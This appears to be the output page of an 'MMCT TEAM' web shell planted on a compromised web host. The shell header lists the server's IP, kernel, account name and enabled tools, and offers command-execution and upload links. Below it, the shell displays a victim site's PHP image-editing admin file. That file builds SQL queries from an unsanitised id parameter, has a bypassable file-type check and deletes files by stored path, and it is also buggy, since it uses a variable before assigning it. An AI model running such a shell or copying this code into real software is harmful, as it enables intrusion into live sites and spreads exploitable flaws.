MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/uniformindia.co.in/public_html/admin/public/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/admin/public/edit-image-form.php
<?php
	include_once('includes/functions.php'); 
?>
	<?php 
	
		if(isset($_GET['id'])){
			$ID = $_GET['id'];
		}else{
			$ID = "";
		}
		
			
		$sql_query = "SELECT image FROM tbl_image WHERE id =".$ID;	
			// Execute query
			$db->sql($sql_query);
			// store result 
			$res=$db->getResult();
		if(isset($_POST['btnEdit'])){
			
			// get image info
			$image = $_FILES['image']['name'];
			$image_error = $_FILES['image']['error'];
			$image_type = $_FILES['image']['type'];
				
			// create array variable to handle error
			$error = array();
			
			
			// common image file extensions
			$allowedExts = array("gif", "jpeg", "jpg", "png");
			
			// get image file extension
			error_reporting(E_ERROR | E_PARSE);
			$extension = end(explode(".", $_FILES["image"]["name"]));
			
			if(!empty($image)){
				if(!(($image_type == "image/gif") || 
					($image_type == "image/jpeg") || 
					($image_type == "image/jpg") || 
					($image_type == "image/x-png") ||
					($image_type == "image/png") || 
					($image_type == "image/pjpeg")) &&
					!(in_array($extension, $allowedExts))){
					
					$error['image'] = "*<span class='label label-danger'>Image type must jpg, jpeg, gif, or png!</span>";
				}
			}
			
					
			if(empty($error['image'])){
				
				if(!empty($image)){
					
					// create random image file name
					$string = '0123456789';
					$file = preg_replace("/\s+/", "_", $_FILES['image']['name']);
					$function = new functions;
					$image = $function->get_random_string($string, 4)."-".date("Y-m-d").".".$extension;
				
					// delete previous image
					$delete = unlink($res[0]['image']);
					
					// upload new image
					$upload = move_uploaded_file($_FILES['image']['tmp_name'], 'upload/notification/'.$image);
	  
					// updating all data
					$sql_query = "UPDATE tbl_image
							SET image = '".$upload_image."'
							WHERE id =".$ID;
					
					$upload_image = 'upload/notification/'.$image;
						$db->sql($sql_query);
						// store result 
						$update_result = $db->getResult();
					
					
				}
				else
				{
					// create random image file name
					$string = '0123456789';
					$file = preg_replace("/\s+/", "_", $_FILES['image']['name']);
					$function = new functions;
					$image = $function->get_random_string($string, 4)."-".date("Y-m-d").".".$extension;
				
					// delete previous image
					$delete = unlink($res[0]['image']);
					
					// upload new image
					$upload = move_uploaded_file($_FILES['image']['tmp_name'], 'upload/notification/'.$image);
	  
					// updating all data
					$sql_query = "UPDATE tbl_image
							SET image = '".$upload_image."'
							WHERE id =".$ID;
					
					$upload_image = 'upload/notification/'.$image;
						// Execute query
						
						$db->sql($sql_query);
						// store result 
						$update_result = $db->getResult();
						if(!empty($update_result)){
							$update_result =0;
						}else{
							$update_result =1;
						}
						
					
				}
					
					
				// check update result
				if($update_result==1){
					$error['update_data'] = "<section class='content-header'>
												<span class='label label-success'>Image updated Successfully</span>
												<h4><small><a  href='notification.php'><i class='fa fa-angle-double-left'></i>&nbsp;&nbsp;&nbsp;Back to Notification</a></small></h4>
												</section>";
				}else{
					$error['update_data'] = " <span class='label label-danger'>failed update</span>";
				}
			}
			
		}
		
		// create array variable to store previous data
		$data = array();
			
		$sql_query = "SELECT * FROM tbl_image WHERE id =".$ID;
			// Execute query
			$db->sql($sql_query);
			
			// store result 
			$res=$db->getResult();
		
		
			
	?>
	<section class="content-header">
          <h1>
            Edit Image</h1>
            <small><?php echo isset($error['update_data']) ? $error['update_data'] : '';?></small>
          <ol class="breadcrumb">
            <li><a href="home.php"><i class="fa fa-home"></i> Home</a></li>
          </ol>
        </section>
	<section class="content">
          <!-- Main row -->
		 
          <div class="row">
		  <div class="col-md-6">
              <!-- general form elements -->
              <div class="box box-primary">
                <div class="box-header with-border">
                  <h3 class="box-title">Edit Image</h3>
                </div><!-- /.box-header -->
                <!-- form start -->
                <form  method="post"
			enctype="multipart/form-data">
                  <div class="box-body">
                    
					<div class="form-group">
                      <label for="exampleInputFile">Image</label><?php echo isset($error['image']) ? $error['image'] : '';?>
		<input type="file" name="image" id="image"/><br />
		<img src="<?php echo $res[0]['image']; ?>" width="210" height="160"/>
                    </div>
					
                  </div><!-- /.box-body -->

                  <div class="box-footer">
                    <input type="submit" class="btn-primary btn" value="Update" name="btnEdit" />
                  </div>
                </form>
              </div><!-- /.box -->
			 </div>
		  </div>
	</section>

	<div class="separator"> </div>
<?php 
	
	$db->disconnect(); ?>

MMCT - 2023